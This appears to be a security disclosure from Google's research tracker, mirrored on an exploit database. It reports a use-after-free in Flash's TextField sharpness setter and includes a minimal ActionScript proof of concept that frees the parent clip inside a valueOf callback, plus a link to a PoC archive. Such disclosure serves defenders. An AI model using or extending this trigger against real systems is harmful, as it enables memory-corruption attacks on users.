Source: https://code.google.com/p/google-security-research/issues/detail?id=588
There is a use-after-free in the TextField sharpness setter.If the sharpness parameter is an object with valueOf set to a function which frees the TextField parent, it is used after it is freed.
A minimal PoC is as follows:
var times = 0;var mc = this.createEmptyMovieClip("mc", 101);var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.sharpness = {valueOf : func};function func(){if(times == 0){
times++;return 0;}
mc.removeMovieClip();// Fix heap here
return 0;}
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39044.zip